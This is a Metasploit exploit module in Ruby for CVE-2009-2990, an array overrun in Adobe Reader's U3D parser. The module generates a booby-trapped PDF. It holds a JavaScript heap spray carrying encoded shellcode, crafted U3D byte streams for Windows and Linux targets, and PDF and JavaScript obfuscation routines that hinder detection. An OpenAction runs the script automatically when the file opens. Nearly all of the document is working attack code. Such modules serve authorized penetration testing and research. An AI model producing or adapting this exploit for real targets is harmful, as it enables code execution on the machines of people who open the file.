377 lines
12 KiB
Ruby
377 lines
12 KiB
Ruby
###
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## This file is part of the Metasploit Framework and may be subject to
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## redistribution and commercial restrictions. Please see the Metasploit
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## Framework web site for more information on licensing and terms of use.
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## http://metasploit.com/framework/
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###
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require 'msf/core'
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require 'zlib'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
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'Description' => %q{
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This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
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Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
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specially crafted pdf that a contains malformed U3D data, an attacker may
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be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
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'jduck'
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],
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'Version' => '$Revision: 7570 $',
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'References' =>
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[
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[ 'CVE', '2009-2990' ],
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[ 'OSVDB', '58920' ],
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[ 'BID', '36665' ],
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[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Targets' =>
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[
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# test results (on Windows XP SP3)
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# reader 7.0.5 - untested
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# reader 7.0.8 - untested
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# reader 7.0.9 - untested
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# reader 7.1.0 - untested
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# reader 7.1.1 - untested
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# reader 8.0.0 - untested
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# reader 8.1.2 - untested
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# reader 8.1.3 - untested
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# reader 9.0.0 - untested
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# reader 9.1.0 - works
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[ 'Adobe Reader Windows Universal (JS Heap Spray)',
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{
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'Index' => 0x01d10000,
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'escA' => 0x0f0f0f0f,
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'escB' => 0x16161616,
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'escC' => 0x1c1c1c1c
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}
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],
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# untested
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[ 'Adobe Reader Linux Universal (JS Heap Spray)',
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{
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'Index' => 0xfffffe3c,
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'escA' => 0x75797959,
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'escB' => 0xa2a2a2a2,
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'escC' => 0x9c9c9c9c
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}
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]
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],
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'DisclosureDate' => 'Oct 13 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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], self.class)
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Make some nops
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nops = Rex::Text.to_unescape(make_nops(4))
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# prepare the pointers!
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ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
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ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
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ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))
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script = %Q|
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var nop = unescape("#{nops}");
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function mkSlice(str,size,rest){
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while (str.length <= size/2)
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str += str;
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str = str.substring(0, size/2 -32/2 -4/2 - rest -2/2);
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return str;
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};
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function spray(escA,escB,escC,escShellcode){
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var i;
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var pointersA = unescape(escA);
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var pointersB = unescape(escB);
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var pointersC = unescape(escC);
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var shellcode = unescape(escShellcode);
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pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
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pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
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pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
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nop_slide = mkSlice(nop,0x100000, shellcode.length);
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var x = new Array();
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for (i = 0; i < 400; i++) {
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if(i<100)
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x[i] = pointersA_slide+pointersA;
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else if(i<200)
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x[i] = pointersB_slide+pointersB;
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else if(i<300)
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x[i] = pointersC_slide+pointersC;
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else
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x[i] = nop_slide+shellcode;
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}
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return x;
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};
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var mem;
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mem = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}")
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# Obfuscate it up a bit
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script = obfuscate_js(script,
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'Symbols' => {
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'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode mem str size rest nop },
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'Methods' => %W{ mkSlice spray }
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}).to_s
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# create the u3d stuff
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u3d = make_u3d_stream(target['Index'])
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# Create the pdf
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pdf = make_pdf(script, u3d)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def obfuscate_js(javascript, opts)
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js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
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js.obfuscate
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return js
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end
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def RandomNonASCIIString(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def ioDef(id)
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"%d 0 obj\n" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ASCIIHexWhitespaceEncode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_u3d_stream(index)
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data = "U3D\x00"
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data << "\x18\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
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data << "\x00\x00\x00\x00\x24\x00\x00\x00\x80\xb6\x02\x00\x00\x00\x00\x00"
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data << "\x6a\x00\x00\x00\x14\xff\xff\xff\xa0\x00\x00\x00\x00\x00\x00\x00"
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data << "\x0b\x00"
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data << "E" * 11
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data << "\x01\x00\x00"
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data << "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x31\xff\xff\xff"
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data << "\x75\x00\x00\x00\x00\x00\x00\x00"
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data << "\x0b\x00"
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data << "E" * 11
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data << "\x00\x00\x00\x00\x00\x00\x00\x00\x22\xc3\x00"
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data << "\x00\x26\x62\x00\x00\x66\x49\x02\x00\x00\x00\x00\x00\x00\x00\x00"
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data << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
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data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\x62\x00\x00\x2c\x01\x00"
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data << "\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x6c\x1e\x0b\x3f\xa6\x05\x6f"
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data << "\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d\x3c\x66\x66\x66"
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data << "\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x00\x00\x00\x00\x00\x00\x00"
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data << "\x3c\xff\xff\xff\xf6\x00\x00\x00\x00\x00\x00\x00\x0b\x00"
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data << "E" * 11
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data << "\x00\x00\x00\x00\x00\x00\x00"
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data << "\x00\x00\x10\x00\x00"
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data << [index].pack('V')
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data << "\x00\x00\x00\x00\x00\x00\x00"
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data << "\x00\x00\x00\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00"
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data << "\x3f\xeb\x95\x0d\x00\x00\x76\x05\x00\x00\xea\x15\x00\x00\xe2\x02"
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data << "\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f\xaa\x00\x00\x00\xc2"
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data << "\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00\x00"
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data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01"
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data << "\x00\x20\x44\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00"
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data << "\xb2\x0b\x00\x20\xfd\x19\x00\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59"
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data << "\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8\xc1\x04\x00\x70\xc4"
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data << "\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20\xa1"
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data << "\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f"
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data << "\x72\x9a\x1d\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8"
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data << "\x00\x00\x54\xce\xfb\x32\x00\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00"
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data << "\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53\xe9\x10\x9d\x6b\x06"
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data << "\x00\x50\xa2\x00"
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#laziest hack ever! Another index must be found for using the following
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# stream in windows.. and a lot of tests shoul be done.
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if index == 0x01d10000
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return data
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end
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# linux version
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data = "U3D\x00"
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data << "\x18\x00\x00\x00\x16\x04\x00\x00\x00\x01\x00\x00"
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data << "\x00\x00\x00\x00\x24\x00\x00\x00\x74\x01\x00\x00\x00\x00\x00\x00"
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data << "\x6a\x00\x00\x00\x01\x00\x00\x00\x08\x00\x61\x6c\x61\x6c\x61\x6c"
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data << "\x61\x30\x01\x00\x00\x00\x00\x04\x00\x00"
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data << "\xa8" * 1024
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data << "\x50\x50\x14\xff\xff\xff"
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data << "\xa0\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x41\x41\x41\x41\x41\x41"
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data << "\x41\x41\x41\x41\x41\x01\x00\x00\x00\x00\x00\x00\x00\x50\x50\x50"
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data << "\x01\x00\x00\x00\x31\xff\xff\xff\x75\x00\x00\x00\x00\x00\x00\x00"
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data << "\x0b\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00"
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data << "\x00\x00\x00\x00\x00\x22\xc3\x00\x00\x26\x66\x00\x00\x04\x00\x00"
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data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
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data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00"
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data << "\x00\x65\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c\x01\x00"
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data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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data << "\x00\x00\x00\x00\x00\x50\x50\x50\x3c\xff\xff\xff\x95\x00\x00\x00"
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data << "\x00\x00\x00\x00\x0b\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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data << "\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
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data << [index].pack('V')
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data << "\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00"
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data << "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00"
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data << "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x46\x65\x6c\x69\x46\x65\x6c"
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data << "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c"
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data << "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c"
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data << "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c"
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data << "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c"
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data << "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x50\x50\x50"
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return data
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end
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def make_pdf(js, u3d_stream)
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xref = []
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eol = "\x0a"
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obj_end = "" << eol << "endobj" << eol
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# the header
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pdf = "%PDF-1.7" << eol
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# filename/comment
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pdf << "%" << RandomNonASCIIString(4) << eol
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# js stream
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
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pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << obj_end
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# catalog
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xref << pdf.length
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pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4) << nObfu("/Pages ") << ioRef(5) << nObfu("/OpenAction ") << ioRef(9) << nObfu(">>")
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pdf << obj_end
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# outline
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xref << pdf.length
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pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
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pdf << obj_end
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# kids
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xref << pdf.length
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pdf << ioDef(5) << nObfu("<</Type/Pages/Count 1/Kids [")
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pdf << ioRef(8) # u3d page
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pdf << nObfu("]>>")
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pdf << obj_end
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# u3d stream
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xref << pdf.length
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pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
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pdf << "stream" << eol
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pdf << u3d_stream << eol
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pdf << "endstream"
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pdf << obj_end
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# u3d annotation object
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xref << pdf.length
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pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
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pdf << "/3D/3DA <</A/PO/DIS/I>>"
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pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
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pdf << obj_end
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# page 0 (u3d)
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xref << pdf.length
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pdf << ioDef(8) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
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pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
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pdf << nObfu(">>")
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pdf << obj_end
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# js dict
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xref << pdf.length
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pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
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# xrefs
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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# trailer
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pdf << "trailer" << eol
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pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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|
pdf << "%%EOF" << eol
|
|
|
|
end
|
|
|
|
end
|